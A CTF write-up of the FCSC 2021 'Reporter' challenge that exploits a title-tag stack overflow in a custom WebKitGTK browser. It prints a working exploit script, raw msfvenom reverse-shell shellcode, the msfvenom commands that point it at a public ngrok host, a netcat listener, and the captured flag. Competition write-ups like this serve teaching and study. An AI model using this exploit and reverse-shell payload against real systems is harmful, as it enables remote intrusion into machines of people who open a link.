FCSC 2021 - Reporter


This challenge was part of the Pwn category, and was worth 500 points.

Vous arrivez dans une nouvelle entreprise qui utilise un navigateur conçu en interne. Pouvez-vous obtenir un shell sur la machine de la personne qui vérifie les liens qu’on lui envoie ?


For this challenge, we are given a binary, named fcsc_browser, and a link, where we can submit urls. With the description of the challenge and the category, we expect this challenge to be a browser exploitation challenge : the goal is to craft a malicious website, that upon visit with the fcsc_browser, will trigger arbitrary commands and execute a reverse shell, allowing us to gain access to the machine of the bot visiting the links.


We start checking checking out the provided binary. There is no source provided, so I do not expect this to be a modern browser such as Chromium based or similar, but more something custom-made.

Let’s open up the browser and see what it is !

Browser landing page

By playing with it, it behaves like any web browser, we can use the url bar to visit any website. To get an idea of what technologies are used in this browser, I open it up in a decompiler and look for interesting classes. I will use Ghidra.

List of classes

There are many classes used, but we can easily figure out that this browser uses WebKitWebView, a technology that relies on the GTK graphical library.

Searching for vulnerabilities

There are many functions defined throughout the program, so we need a starting point. Going back to the browser, I noticed two things : one, the title of a tab is a reflection of the content defined in <title> in the html of the page (“Agence nationnale” in the example above), and second, the title of the window is updated any time we visit a different url. I decided to start by checking out the implementation of these to functionnalities - as good a place to start as any.

Going back to Ghidra, I found out that the class Browser implements most of the functionnality of the browser. There is one related function, addBrowser.

Ghidra view

Checking out cross-references, I found that addBrowser is called by a function called webview_title_change. That seems promising.

The decompilation is not perfect, but by looking at the assembly we quickly figure out what this function does : it allocates a stack buffer of size 0x80, zeroes it out, calculates the length of a global variable app_name, adds it to the stack buffer, concatenates the string - to the stack buffer, and finally concatenates the string passed as an argument. Given that this function is called by webview_title_change, I hypothesize this argument is the title.

Let’s check if this assumption is correct using a debugger. I will use gdb, with the gef python script. To do this, I set up a breakpoint at the 3rd memcpy and launch the browser. It is hit before the page is rendered.

memcpy@plt (                                                                                                                            
   $rdi = 0x00007fffffffd33f -> 0x0000000000000000,                        
   $rsi = 0x00000000007cb3a0 -> 0x6e2065636e656741,    
   $rdx = 0x000000000000003a       
gef>  x/s $rsi
0x7cb3a0:       "Agence nationale de la s\351curit\351 des syst\350mes d'information"
gef>  x/s $rdi-15
0x7fffffffd330: "FCSC Browser - "

Our assumption was correct : we concatenate the title in the <title> in the stack buffer. We also know that the app_name is FCSC Browser at runtime.

Looking back at the addBrowser function, I don’t see any size check on the title. Could this lead to a stack overflow ? There might be preconditions or checks before the call to addBrowser, but it is worth a try.

First, let’s find out what protection are enabled on this binary to know what to expect - if there is a stack canary or not.

$ checksec fcsc_browser
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

There isn’t any protection ! That’s good news for us.

Let’s quickly check out our idea. For this, I wrote a simple python script

from pwn import *

buf = b'a'*200

payload = b"<html><title>"
payload += buf
payload += b"</title></html>"

with open("exploit.html", "wb") as f:

I set up a local webserver using python3 -m http.server 1234 and navigate using fcsc_browser to http://localhost:1234/exploit.html

We get a crash !


In gdb, this is the ouput we get from the crash :

[!] Cannot disassemble from $PC

[#0] Id 1, Name: "fcsc_browser", stopped 0x407f82 in addBrowser(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) (), reason: SIGSEGV
[#1] Id 2, Name: "BMScavenger", stopped 0x7ffff1b387b2 in futex_wait_cancelable (), reason: SIGSEGV
[#2] Id 3, Name: "PressureMonitor", stopped 0x7ffff1b38ad8 in futex_abstimed_wait_cancelable (), reason: SIGSEGV
[#3] Id 4, Name: "HashSaltStorage", stopped 0x7ffff1a573ff in __GI___poll (), reason: SIGSEGV
[#4] Id 5, Name: "ebsiteDataStore", stopped 0x7ffff1a573ff in __GI___poll (), reason: SIGSEGV
[#5] Id 6, Name: "gmain", stopped 0x7ffff1a573ff in __GI___poll (), reason: SIGSEGV
[#6] Id 7, Name: "gdbus", stopped 0x7ffff1a573ff in __GI___poll (), reason: SIGSEGV
[#7] Id 10, Name: "ReceiveQueue", stopped 0x7ffff1a573ff in __GI___poll (), reason: SIGSEGV
[#8] Id 11, Name: "ReceiveQueue", stopped 0x7ffff1a573ff in __GI___poll (), reason: SIGSEGV

[#0] 0x407f82 -> addBrowser(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >)()

We crashed in the addBrowser function, just like we hoped ! The reason for this crash is because we overwrote the return of the function with 0x6161616161616161, so it crashes when it tries to return. Perfect for us! The next step is to find how many bytes are needed to overwrite this return address. I used gef useful tools for this, with pattern create 200 we generate a cyclic pattern that we can easily spot. Then, I replace the a in exploit.html by the string return by gef, and visit the page again.

After the crash, using pattern offset $rsp, we easily find out we can write 137 bytes before starting to overwrite the return address.

Let’s move on to exploitation. The first idea that comes to mind, because NX is not enabled, is to write a shellcode in our buffer, then jump to it. However, I assume ASLR is enabled on the remote machine, so I don’t really have a way to predict at what address the shellcode will end up. Next, we think of the heap : because this is a web browser, I expect the string to be allocated on the heap (we can see on the first gdb breakpoint above that the rsi register contains a heap address, at which is stored our string). Again, because NX is not enabled, we could jump to our shellcode in the heap, however, because this is a web browser, many allocations occur on the heap, thus it is difficult to predict in what state the heap will be when the bot ends up on our page.

So the next logical idea is to build a ropchain to get a reverse shell. However, after a few tries, I quickly realized something : if we modify the python script to have

buf = b'a'*137 + p64(0)

and break at the return of the addBrowser function, our return address is not 0x0000000000000000, it is completely scrambled. The reason for this is because in the addBrowser function, it calculates the length of the string before memcpy‘ing it to the stack buffer, so it stops after a null byte. So we can’t write the full address of our gadgets in the ropchain.

Luckily for us, if we change our buf to be

buf = b'a'*137 + b'A'*4

at the end of the addBrowser function, our return address is 0x0000000041414141. Therefore, we can partially overwrite this return address to point to any gadget we want. However, that means we can only use one gadget, because we can’t write anything afterwards.

How do we exploit this ? Let’s check out our registers at the end of addBrowser when overwriting the return address.

gef>  registers 
$rax   : 0x00007fffffffd3f0  ->  0x0000000000acaa30  ->  "FCSC Browser - aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$rbx   : 0x6161616161616161 ("aaaaaaaa"?)
$rcx   : 0x1b              
$rdx   : 0xc0              
$rsp   : 0x00007fffffffd3c8  ->  0x6161616161616161 ("aaaaaaaa"?)
$rbp   : 0x6161616161616161 ("aaaaaaaa"?)
$rsi   : 0x00007fffffffd330  ->  "FCSC Browser - aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$rdi   : 0x0000000000acaa30  ->  "FCSC Browser - aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$rip   : 0x0000000000407f82  ->  <addBrowser(std::__cxx11::basic_string<char,+0> ret 
$r8    : 0x0000000000acaa30  ->  "FCSC Browser - aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[...]"
$r9    : 0x0               
$r10   : 0x00007fffffffd898  ->  0x000000000067e470  ->  0x00000000006a4fb0  ->  0x000000000061b460  ->  0x000000000000007c ("|"?)
$r11   : 0x10              
$r12   : 0x6161616161616161 ("aaaaaaaa"?)
$r13   : 0x00007fffffffd690  ->  0x0000000000812510  ->  0x0000000000000002
$r14   : 0x00007fffffffd610  ->  0x000004c500000001
$r15   : 0x0000000000a35170  ->  0x0000000040000002
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 

The first thing that jumps out is that if we found a jmp rsp gadget, we could jump to our shellcode, however as we just saw we cannot write anything after the address of our gadget, so we cannot use this idea. Next, we notice that rsi, rdi and r8 all have addresses where our string is allocated, either on the stack or in the heap, which are executable. If we found a gadget that lets us jump to any of these, we could execute a shellcode, however, there is a slight problem : before our shellcode, there is FCSC Browser - , and if we check out what it translates to if executed, there are invalid instruction.

>>>print(disasm(b'FCSC Browser - ', arch="amd64"))
0:   46                      rex.RX
1:   43 53                   rex.XB push r11
3:   43 20 42 72             rex.XB and BYTE PTR [r10+0x72], al
7:   6f                      outs   dx, DWORD PTR ds:[rsi]
8:   77 73                   ja     0x7d
a:   65 72 20                gs jb  0x2d
d:   2d                      .byte 0x2d
e:   20                      .byte 0x20

For this to work, we would need a gadget that adds at least 15 to one those registers, then jumps to it. I did find a call rdi and a jmp rcx, but they were not preceded by any addition that suits us.

What about rax ? It is a pointer to the address of our string, for this to work, we would need a slightly different gadget : add at least 15 to the valued pointed by rax, then jump to the value pointed by rax.

Using ROPgadget I did find one that matched (remember that rcx has a value of 0x1b)

$ ROPgadget --binary fcsc_browser | grep 'jmp qword ptr \[rax'
0x0000000000403d77 : add byte ptr [rax], cl ; jmp qword ptr [rax]

Perfect ! However, cl has a value of 0x1b, that is a little over 15, so the first few bytes will be ignored, but that is fine.

We just have to write a shellcode now, and we should be able to get a shell

The shellcode

Our shellcode should be a reverse shell, because we have no other way to communicate with the bot. We have one restriction : no null byte. To be efficient, I use metasploit shellcode generator, msfvenom, which has a handy option of bytes we want to exclude.

We will need a public address, for this I used ngrok, using ngrok tcp 1234

We can generate such payload using msfvenom -p linux/x64/shell_reverse_tcp LHOST=2.tcp.ngrok.io LPORT=15636 -b '\x00' -f py

The output is 119 bytes long, that can fit in our 137 - (0x1e - 15) = 122 bytes space.

We modify our python script :

buf =  b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\x81\x80\xcc\xaa\x59\x82\x18"
buf += b"\x8e\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\xeb\xa9\x94\x33\x33\x80\x47\xe4\x80\xde\xc3\xaf\x11"
buf += b"\x15\x50\x37\x83\x80\xf5\x17\x5a\x8c\xae\x45\xd0\xc8"
buf += b"\x45\x4c\x33\x92\x42\xe4\xab\xd8\xc3\xaf\x33\x81\x46"
buf += b"\xc6\x7e\x4e\xa6\x8b\x01\x8d\x1d\xfb\x77\xea\xf7\xf2"
buf += b"\xc0\xca\xa3\xa1\xe3\xe9\xa2\x85\x2a\xea\x18\xdd\xc9"
buf += b"\x09\x2b\xf8\x0e\xca\x91\x68\x8e\x85\xcc\xaa\x59\x82"
buf += b"\x18\x8e"
buf = buf.rjust(137, b'\x90') # We pad the shellcode with nops

payload = b"<html><title>"
payload += buf
payload += b"\x77\x3d\x40" # 0x403d77 is the address of our gadget
payload += b"</title></html>"

with open("exploit.html", "wb") as f:

This nearly works, expected for one detail : if we debug the program, we jump to our shellcode, but it is not exactly the same. I did not spend too much time figuring out why, I noticed some bytes were modified and other were not, but my educated guess would be after hovering over the code, that the title is utf-8 decoded, which transforms the shellcode. It took me some time to find out exactly which bytes were modified, but I ended generating my shellcode with msfvenom -p linux/x64/shell_reverse_tcp LHOST=2.tcp.ngrok.io LPORT=15636 -b '\x00\x80\x83\x84\x85\x86\x87\x8b\x82\x89\x99\x91\x92\x93\x94\x95\x96\x9b\x97\x98\x9a\x9c\x9e\x9f\x8a\x8e\x0d\x0a\x0c\x8c\x09\x88' -f py

I replaced the buf in the above python script by the new output, and this time, it worked ! I set up a webserver, gave a link to exploit.html to the bot and after a few seconds, we get a shell !

$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [] from (UNKNOWN) [] 57666
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
ls -al
total 140
drwxr-xr-x 1 root  root    4096 Apr 21 13:48 .
drwxr-xr-x 1 root  root    4096 Apr 23 12:46 ..
-rwxr-xr-x 1 admin admin 112984 Apr 21 13:46 fcsc_browser
-rw-r--r-- 1 admin admin     71 Apr 21 13:45 flag
-rw-r----- 1 admin admin    915 Apr 21 13:45 main.py
-rwxr-xr-x 1 admin admin    227 Apr 21 13:45 run.sh
drwxr-x--x 1 admin admin   4096 Apr 21 13:48 static
drwxr-x--x 1 admin admin   4096 Apr 21 13:48 templates

And the flag : FCSC{da8089fd6e7a40288a64f88b6a1a8027457206dffbfb28a5c8489a4e1c866e08}


This browser exploit challenge was fun, and not as difficult as I expected it to be, I enjoyed the challenge :)